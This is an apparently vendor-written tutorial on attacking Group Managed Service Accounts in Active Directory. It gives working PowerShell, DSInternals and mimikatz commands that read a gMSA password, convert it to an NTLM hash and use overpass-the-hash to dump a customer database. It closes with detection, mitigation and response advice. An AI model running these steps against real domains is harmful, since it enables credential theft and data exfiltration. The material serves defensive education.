Ataque de Cuentas de Servicio Administradas por Grupo

Tutorial de ataque: Cómo funciona el ataque de Group Managed Service Accounts

PASO 1: Descubrir un gMSA explotable

Primero, un adversario debe identificar las gMSAs que pueden explotar. Un adversario debe haber comprometido una cuenta con permisos para modificar los permisos de la gMSA o una cuenta con permisos para leer la contraseña de la gMSA. (La cuenta de computadora para cualquier sistema que utilice legítimamente la gMSA tiene la capacidad de leer la contraseña desde Active Directory. Cualquier proceso que se ejecute como el usuario NT AUTHORITY\SYSTEM, por lo tanto, puede acceder a la contraseña de la gMSA.)

En este ejemplo, un adversario ha explotado una vulnerabilidad en un popular sistema de gestión de contenidos (CMS) que permite la ejecución remota de código en el servidor web. Descubrieron que el CMS, configurado deficientemente, se está ejecutando como NT AUTHORITY\SYSTEM y enumeran las identidades bajo las cuales se están ejecutando otros sitios web en el servidor, encontrando la gMSA SvcCustomerWeb$.

      PS C:\Windows\system32> whoami

nt authority\system

PS C:\Windows\system32> Import-Module WebAdministration

PS C:\Windows\system32> Get-ChildItem "IIS:\AppPools" | Foreach-Object {

>> $AppPoolName = $_.Name; (Get-Item "IIS:\AppPools\$($_.Name)").processModel |

>> Select @{Name = "AppPoolName"; Expression = {$AppPoolName}}, identityType, userName }

AppPoolNameidentityTypeuserName

-------------------------------

.NET v4.5ApplicationPoolIdentity

.NET v4.5 ClassicApplicationPoolIdentity

ContentManagementSystem LocalSystem

CustomerWebsiteSpecificUserSvcCustomerWeb$

DefaultAppPoolApplicationPoolIdentity

PS C:\Windows\system32>
      

PASO 2: Comprometer la contraseña de gMSA

Next, the adversary needs to render the gMSA's 256-byte password (the equivalent of 256 characters), which is composed entirely of random bits, into a usable format. They can either convert the random bytes into a usable password or convert it to a NTLM hash, which can then be used with Pass-the-Hash or Overpass-the-Hash techniques. The DSInternals PowerShell module provides the ConvertFrom-ADManagedPasswordBlob and ConvertTo-NTHash cmdlets for these purposes.

      PS C:\Windows\system32> Install-Module -Name DSInternals -Force

PS C:\Windows\system32> Import-Module DSInternals

# Acquire gMSA password

PS C:\Windows\system32> $gMSA = ConvertFrom-ADManagedPasswordBlob (Get-ADServiceAccount SvcCustomerWeb -prop 'msDS-ManagedPassword' | Select -expand 'msDS-ManagedPassword')

# Obtain plaintext password as 128 UTF-16 characters. Note: these characters don't render well in PowerShell, so we suggest outputing the password to a file:

# e.g.: $gMSA.CurrentPassword | Out-File gMSAPassword.txt

PS C:\Windows\system32> $gMSA.CurrentPassword

ﻛୄ㫢沬뛩톈ᒰ枭로挴ꦯ黯刳䛹㍶鴝ꠅꨜ♤ཙ㘩惦鷧౨⮎鹲좺ﯞ蓼䩿뻞έ恤ㇴ倹⤇쁻ຌ௫Я딝㌥頪園ᢜ䵼烗ₖ鍥쨼蟎ꠡÑ샄ℳ⽇፬⸗睎능찈숦ﭳⲭ鎚㰽韹땦쪪騌ힾ낝૕鋹员㾶񣉰쟟㳍ْ痪Л፝堪澴캄畩ʛ뛅ꔭ궡٬鹕☑늭颹躱煉㘬ꇶ蓾蕳Ḙ蝅葳⸕獜쑨罹祇諾쨒槖켥ꁼᏣ

# Obtain NTLM hash

PS C:\Windows\system32> ConvertTo-NTHash $gMSA.SecureCurrentPassword

9a9865e4a0412c6a726ec31568cbebc7

PS C:\Windows\system32>
      

PASO 3: Utilice la contraseña gMSA para objetivos adicionales

El adversario ahora puede usar las credenciales comprometidas para avanzar en sus objetivos. En este ejemplo, el adversario utiliza overpass-the-hash para autenticarse en la base de datos de clientes y exfiltrar una lista de clientes, su información de contacto y sus hashes de contraseñas.

      PS C:\Windows\system32> mimikatz.exe "sekurlsa::pth /user:SvcCustomerWeb$ /domain:domain.com /ntlm:9a9865e4a0412c6a726ec31568cbebc7" exit

# A new command prompt opens

C:\Windows\system32>mssql-cli --server dbserver --username "domain\SvcCustomerWeb$" --integrated --query "SELECT SYSTEM_USER; SELECT * FROM [CustomerApp].[dbo].[Customers];"

+--------------------------+

| (No column name)|

|--------------------------|

| DOMAIN\SvcCustomerWeb$|

+--------------------------+

(1 row affected)

+--------------+-------------+-----------+----------------------------+------------------------------------------+

| customerId| givenName| surName| email| password|

|--------------+-------------+-----------+----------------------------+------------------------------------------|

| 1| Bob| Jones| bjones@stealthbitslab.com| 6367c48dd193d56ea7b0baad25b19455e529f5ee |

| 2| Suzy| Smith| smith@stealthbitslab.com| 5d04c4864322580108f66e0e64c89a9aa31aef56 |

| 3| Amy| Hawkes| ahawkes@stealthbitslab.com | bf8ffd3a80b00c3a8bf9aca2edcae9203ab7837e |

| 4| Jill| Paul| jpaul@stealthbitslab.com| 3e8e521392424218e6e1b12c6d8803ba0a8645cf |

+--------------+-------------+-----------+----------------------------+------------------------------------------+

(4 rows affected)
      

Detectar, Mitigar y Responder

Detectar

Dificultad: Baja

Puede resultar difícil detectar todas las lecturas no autorizadas del atributo msDS-ManagedPassword, especialmente si ocurren desde la cuenta del equipo. Sin embargo, los usuarios normales nunca deberían acceder a las contraseñas de gMSA, por lo que monitorear los registros de eventos de Active Directory para detectar accesos a contraseñas de gMSA por parte de usuarios que no sean cuentas de equipo es una medida de detección importante.

Además, también es fundamental supervisar las cuentas de gMSA para detectar cambios en los permisos (atributo msDS-GroupMSAMembership) que determinen qué entidades pueden acceder a la contraseña. El ID de evento 4662 en la subcategoría Audit Directory Service Access registra información básica sobre los usuarios que realizan operaciones dentro de Active Directory, para los eventos especificados en la lista de control de acceso del sistema (SACL) de un objeto.

Usando este evento, es posible ver cuándo un usuario lee una contraseña de gMSA.
Para identificar estos eventos, se deben filtrar los registros de eventos con los siguientes criterios:

• Tipo de operación: Acceso a objeto
• Accesos: Leer Propiedad
• Propiedades: Incluye el GUID {e362ed86-b728-0842-b27d-2dea7a9df218} Este es el GUID del atributo msDS-ManagedPassword.

Mitigar

Dificultad: Media

Mitigar el riesgo de explotación de gMSA es, en última instancia, defender los privilegios de Active Directory que permiten a un adversario modificar los permisos de gMSA o leer la contraseña, y adoptar otras mejores prácticas para prevenir la infiltración:

• Realice auditorías periódicas de los permisos para modificar cuentas gMSA y adopte agresivamente el principio de mínimo privilegio.
• Realice auditorías periódicas del atributo msDS-GroupMSAMembership en cada gMSA y asegúrese de que solo las cuentas de computadora autorizadas tengan privilegios para acceder a la contraseña.
• Alerta, en tiempo real, sobre cambios en los permisos de gMSA.

Responder

Dificultad: Media

Si un usuario distinto de una cuenta de computadora autorizada recupera la contraseña de gMSA o se produce un cambio no autorizado en los permisos de gMSA, hay varias acciones que se pueden tomar para responder de inmediato:

• Active el proceso de respuesta ante incidentes y alerte al equipo de respuesta.
• Restablezca la contraseña del usuario que realizó la acción y, opcionalmente, deshabilite a ese usuario para a) forzar la replicación instantánea en todos los controladores de dominio y b) interrumpir el uso de esa cuenta por parte del adversario.
• Restablezca la contraseña para la gMSA afectada.
• Ponga en cuarentena las máquinas afectadas para la investigación forense, así como para las actividades de erradicación y recuperación.